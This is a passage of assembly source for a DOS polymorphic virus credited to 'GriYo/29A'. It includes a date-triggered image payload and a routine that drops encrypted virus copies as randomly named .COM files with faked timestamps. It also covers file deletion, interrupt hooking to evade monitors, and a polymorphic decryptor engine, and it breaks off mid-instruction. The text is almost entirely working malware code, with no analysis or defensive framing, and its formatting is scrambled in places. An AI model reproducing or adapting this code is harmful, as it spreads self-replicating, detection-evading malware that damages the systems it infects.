;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Time for activation? ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄtry_activation: db 0EBh,00h mov ah,04h int 1Ah

; Clear prefetch ; Check if time ; to activate

cmp dx,0710h jne drop_virus ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Activation routine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_payload:

loop_compress: next_string:

compress_byte:

pixel_ready:

stay_quiet:

mov ax,0013h int 10h mov ax,0A000h mov es,ax mov si,offset image_data xor di,di mov cx,100 push cx mov cx,20 push cx lodsb mov dl,al mov cx,8 xor al,al test dl,128 jz pixel_ready mov al,07h push di add di,320 stosb stosb pop di stosb stosb shl dl,01h loop compress_byte pop cx loop next_string pop cx add di,320 loop loop_compress jmp stay_quiet

; ; ; ; ;

Set video mode 320x200x256c Decompress our image over video memory

; 100 scan lines

; Get 8 pixels

; Next pixel ; Next 8 byte group ; Next scan

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Image for the virus payload (white hand) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄimage_data equ this byte db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 001h,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,007h,0FEh,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FEh db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,03Fh,0FEh,000h,000h,000h,000h,00Fh,0F0h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FEh,000h,000h db 000h,000h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,001h,0FFh,0FEh,000h,000h,000h,001h,0FFh,0F8h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FCh,000h,000h,000h,003h db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh db 0FFh,0FCh,000h,000h,000h,00Fh,0FFh,0F8h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,01Fh,0FFh,0FCh,000h,000h,000h,03Fh,0FFh,0F8h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FCh db 000h,000h,000h,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,07Fh,0FFh,0FCh,000h,000h,003h,0FFh,0FFh,0F0h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0F8h,000h,000h

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

00Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h 001h,0FFh,0FFh,0F0h,000h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h,000h,000h,07Fh,0FFh 0FFh,080h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh 0FFh,0C0h,000h,001h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h 000h,000h,000h,000h,03Fh,0FFh,0FFh,0C0h,000h,007h,0FFh,0FFh,0FCh,000h 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,080h 000h,01Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h 000h,000h,07Fh,0FFh,0FEh,000h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h 000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FCh,000h,000h,0FFh 0FFh,0FFh,0C0h,000h,003h,0F0h,000h,000h,000h,000h,000h,000h,000h,003h 0FFh,0FFh,0F8h,000h,001h,0FFh,0FFh,0FFh,080h,000h,01Fh,0F8h,000h,000h 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0F0h,000h,003h,0FFh,0FFh,0FFh 000h,001h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh 0C0h,000h,007h,0FFh,0FFh,0FCh,000h,007h,0FFh,0F0h,000h,000h,000h,000h 000h,000h,000h,01Fh,0FFh,0FFh,080h,000h,01Fh,0FFh,0FFh,0E0h,000h,03Fh 0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,000h,000h 03Fh,0FFh,0FFh,080h,000h,07Fh,0FFh,0E0h,000h,000h,000h,000h,000h,000h 000h,0FFh,0FFh,0FEh,000h,003h,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0C0h 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FEh,000h,007h,0FFh,0FFh 0F8h,000h,003h,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,001h,0FFh 0FFh,0FCh,000h,00Fh,0FFh,0FFh,0F0h,000h,007h,0FFh,0FFh,080h,000h,000h 000h,000h,000h,000h,003h,0FFh,0FFh,0F8h,000h,03Fh,0FFh,0FFh,0E0h,000h 01Fh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h 000h,07Fh,0FFh,0FFh,0C0h,000h,07Fh,0FFh,0F8h,000h,000h,000h,000h,000h 000h,000h,007h,0FFh,0FFh,0C0h,000h,0FFh,0FFh,0FFh,000h,001h,0FFh,0FFh 0F0h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,080h,001h,0FFh 0FFh,0FCh,000h,003h,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h 03Fh,0FFh,0FCh,000h,007h,0FFh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,000h,000h 000h,000h,000h,000h,000h,000h,07Fh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,0F0h 000h,01Fh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh 0F8h,000h,0FFh,0FFh,0FFh,0E0h,000h,07Fh,0FFh,0FEh,000h,000h,000h,000h 000h,000h,000h,000h,07Fh,0FFh,0FCh,03Fh,0FFh,0FFh,0FFh,000h,003h,0FFh 0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FEh,000h,00Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h 000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,01Fh,0FFh,0FFh,0F0h 000h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0F0h,001h,0FFh,0FFh,0FFh,0E0h,000h,003h,0F0h,000h,000h,000h,000h,00Fh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,007h,0FFh,0FFh,0FFh,080h,000h,00Fh 0FCh,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,0FFh 0FFh,0FFh,0FFh,000h,000h,03Fh,0FCh,000h,000h,000h,000h,03Fh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0EFh,0FFh,0FFh,0FFh,0FCh,000h,000h,07Fh,0FCh,000h 000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0E0h,000h,000h,0FFh,0F8h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,007h,0FFh,0F8h,000h,000h,000h 000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h 0FFh,0FFh,0F8h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0F8h,000h,000h,000h,003h,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,003h,0FFh,0FFh 0F8h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0C0h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,007h,0FFh,0FFh,0FFh,0E0h,000h 000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h 07Fh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0F0h,000h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,003h,0FFh,0FFh 0FFh,0FCh,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0F8h,000h,01Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,003h,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,001h,0FFh,0FFh,0FFh,0FFh,080h 000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h 007h,0FFh,0FFh,0FFh,0FEh,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,01Fh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h 000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,07Fh,0FFh

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db

0FFh,0FFh,0C0h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,00Fh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh 000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,03Fh,0F0h,0F1h 0C8h,004h,07Fh,0FEh,002h,001h,087h,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h 000h,000h,000h,07Fh,0F0h,071h,0C8h,004h,07Fh,0FEh,002h,001h,007h,0FFh 0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,0FFh,0E0h,070h,0CFh,01Ch 07Fh,0FEh,03Fh,08Fh,003h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h 001h,0FFh,0E2h,070h,04Fh,01Ch,07Fh,0FEh,003h,08Fh,023h,0FFh,0FFh,0FFh 0FEh,000h,000h,000h,000h,000h,001h,0FFh,0E2h,032h,00Fh,01Ch,07Ch,03Eh 003h,08Eh,023h,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,001h,0FFh 0C0h,033h,00Fh,01Ch,07Ch,03Eh,03Fh,08Eh,001h,0FFh,0FFh,0FFh,0C0h,000h 000h,000h,000h,000h,001h,0FFh,0C0h,013h,08Fh,01Ch,07Fh,0FEh,003h,08Ch 001h,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,001h,0FFh,0C7h,013h 08Fh,01Ch,07Fh,0FEh,003h,08Ch,071h,0FFh,0FFh,0F0h,000h,000h,000h,000h 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0E0h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h 001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h 000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h 000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h 000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h 000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h 000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0E0h,000h,000h,000h,0FFh,0C0h,000h,000h,000h,000h,000h,007h 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,001h,0FFh,0FFh,0E0h 000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0E0h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,007h,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,003h,0FFh,0FFh,0FFh,0E0h,000h,000h 000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,03Fh 0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0C0h,07Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h 000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E1h,0FFh,0FFh,0FFh 0FFh,0C0h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h 003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h 000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h 000h,07Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h 000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh 0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh,000h 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh 0FFh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h 000h,000h,000h,000h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ ID string ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄid_string

db "<< Anti-ETA by GriYo/29A >>"

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Create a virus dropper in the current directory ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdrop_virus:

generate_name:

call get_rnd or al,al jnz do_not_gen mov ax,cs mov ds,ax mov es,ax call hook_24h_03h mov ax,0004h call rand_in_range inc ax inc ax mov cx,ax mov di,offset dropper_name push di cld mov ax,0019h call rand_in_range add al,41h stosb loop generate_name mov eax,"MOC." mov dword ptr ds:[di],eax mov dword ptr ds:[di+04h],00h pop dx mov ah,3Ch xor cx,cx int 03h jc exit_generator mov dword ptr ds:[host_type],"DROP" mov word ptr ds:[delta],0100h xchg bx,ax push bx mov si,inf_para_size*02h call mem_alloc pop bx or di,di jz cant_drop push bx mov es,di xor di,di call gen_polymorph add word ptr ds:[delta],di xor si,si mov cx,inf_byte_size rep movsb push di push es pop ds call crypto03h call crypto02h call crypto01h call gen_encryption mov ah,40h

; Set host type ; Save delta offset

; Allocate memory ; for a virus copy ; and the virus body

; Save delta offset

; Crypt area 03h ; Crypt area 02h ; Crypt area 01h ; Write virus

pop cx pop bx sub dx,dx int 03h jc oh_shit mov ah,2Ah int 03h mov ax,cx sub ax,07BCh call rand_in_range shl al,1 mov dh,al call get_rnd and al,0FEh mov dl,al call rand_16 and ax,7BE0h or al,0Ah mov cx,ax mov ax,5701h int 03h oh_shit: mov ah,49h int 03h push cs pop ds mov word ptr ds:[crypt_delta],0000h cant_drop: mov ah,3Eh int 03h exit_generator: call free_24h_03h do_not_gen: jmp exit21h

; dropper

; Get current year

; Years from 1980

; Get random date

; Get random time ; Mark as infected

; Free allocated ; memory

; Clear crypt delta ; Close file

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Make a copy of file header ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄbackup_header:

push si push di push es push ds pop es mov si,offset inf_header mov di,offset old_header mov cx,001Ch cld rep movsb pop es pop di pop si ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Seek into file routines ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄseek_begin: seek_end: seek_int_21h:

xor al,al jmp short seek_int_21h mov al,02h mov ah,42h xor cx,cx xor dx,dx int 03h jc seek_error mov word ptr cs:[file_size],ax

; Save pointer

seek_error:

mov word ptr cs:[file_size+02h],dx clc ret stc ret

; position

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Delete file routine ³ ;³ On entry: ³ ;³ DS:DX -> ptr to the file name to delete ³ ;³ DS:SI -> ptr to directory name ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdelete_file:

copy_del_path:

no_slash_here:

copy_del_name:

push ds pop es push si push di mov di,offset delete_path push di mov bx,di cld lodsb stosb cmp al,"\" jne no_slash_here mov bx,di or al,al jnz copy_del_path mov si,dx mov di,bx lodsb stosb or al,al jnz copy_del_name mov ax,4301h xor cx,cx pop dx int 03h mov int pop pop ret

ah,41h 03h di si

; Get path of next

; Now write the name ; of the file to delete ; next to path

; Wipe out the file ; attribute

; Delete filename

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Hook int 24h to a dummy handler and redirect int 21h over int 3 ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄhook_24h_03h:

push ax push bx push ds push es push cs pop ds mov al,03h call get_int mov word ptr ds:[old03h],bx mov word ptr ds:[old03h+02h],es mov dx,offset call21h call set_int mov al,24h call get_int

mov word ptr ds:[old24h],bx mov word ptr ds:[old24h+02h],es mov dx,offset my24h call set_int pop es pop ds pop bx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Restore int 24h and 3 ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄfree_24h_03h:

push ax push ds mov al,03h lds dx,dword ptr cs:[old03h] call set_int mov al,24h lds dx,dword ptr cs:[old24h] call set_int pop ds pop ax ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus critical error interrupt handler (int 24h) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmy24h:

sti mov al,3 iret

; Return error in ; function

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Generate polymorphic encryption ³ ;³ On entry: ³ ;³ DS -> virus code segment ³ ;³ ES:DI -> position where the engine has to put the decryptor ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgen_polymorph:

cld call rand_16 ; Get displacement and al,0FEh ; Avoid odd displace mov word ptr ds:[eng_displace],ax call rand_16 ; Get crypt key mov word ptr ds:[eng_crypt_key],ax mov byte ptr ds:[eng_recursive],00h ; Reset rec. counter cmp dword ptr ds:[host_type],".EXE" ; 1st rnd block only jne skip_1st_block ; on EXE files call gen_rnd_block ; Block of rand data skip_1st_block: mov word ptr ds:[eng_entry_point],di ; Decryptor entry mov ax,(offset end_opcodes - offset opcodes_table)/02h call rand_in_range add ax,ax mov si,offset opcodes_table ; Get pointer to add si,ax ; random reg table lodsw mov si,ax call gen_garbage ; At this point, ; DS:SI -> reg opcode table+01h

; ; ; ; ; ; ; ; ; ; ; ;

+00h add rol inc +01h sub +02h xor +03h ror dec +04h add +05h sub +06h inc +07h cmp

[bp+nn],key [bp+nn],01h [bp+nn] [bp+nn],key [bp+nn],key [bp+nn],01h [bp+nn] bp,inm bp,inm bp bp,inm

movsb ; mov reg,imm mov word ptr ds:[eng_init_ptr],di xor ax,ax stosw call gen_garbage mov word ptr ds:[eng_loop_point],di call gen_garbage mov al,2Eh ; Get segment reg stosb mov ax,(offset end_crypt - offset crypt_table)/02h call rand_in_range add ax,ax mov bx,offset crypt_table ; Get pointer to add bx,ax ; crypt generator call word ptr ds:[bx] ; Gen decrypt instr call gen_garbage mov ax,(offset end_inc_ptr - offset inc_ptr_table)/02h call rand_in_range add ax,ax mov bx,offset inc_ptr_table ; Get pointer to add bx,ax ; inc ptr generator call word ptr ds:[bx] ; Gen inc ptr instr call gen_garbage mov al,81h mov ah,byte ptr ds:[si+07h] ; Gen cmp reg,imm stosw mov word ptr ds:[eng_cmp_ptr],di xor ax,ax stosw mov ax,di sub ax,word ptr ds:[eng_loop_point] cmp ax,7Fh jb use_jmp_short mov ax,0074h ; Gen je label stosw ; garbage push di ; jmp loop_point call 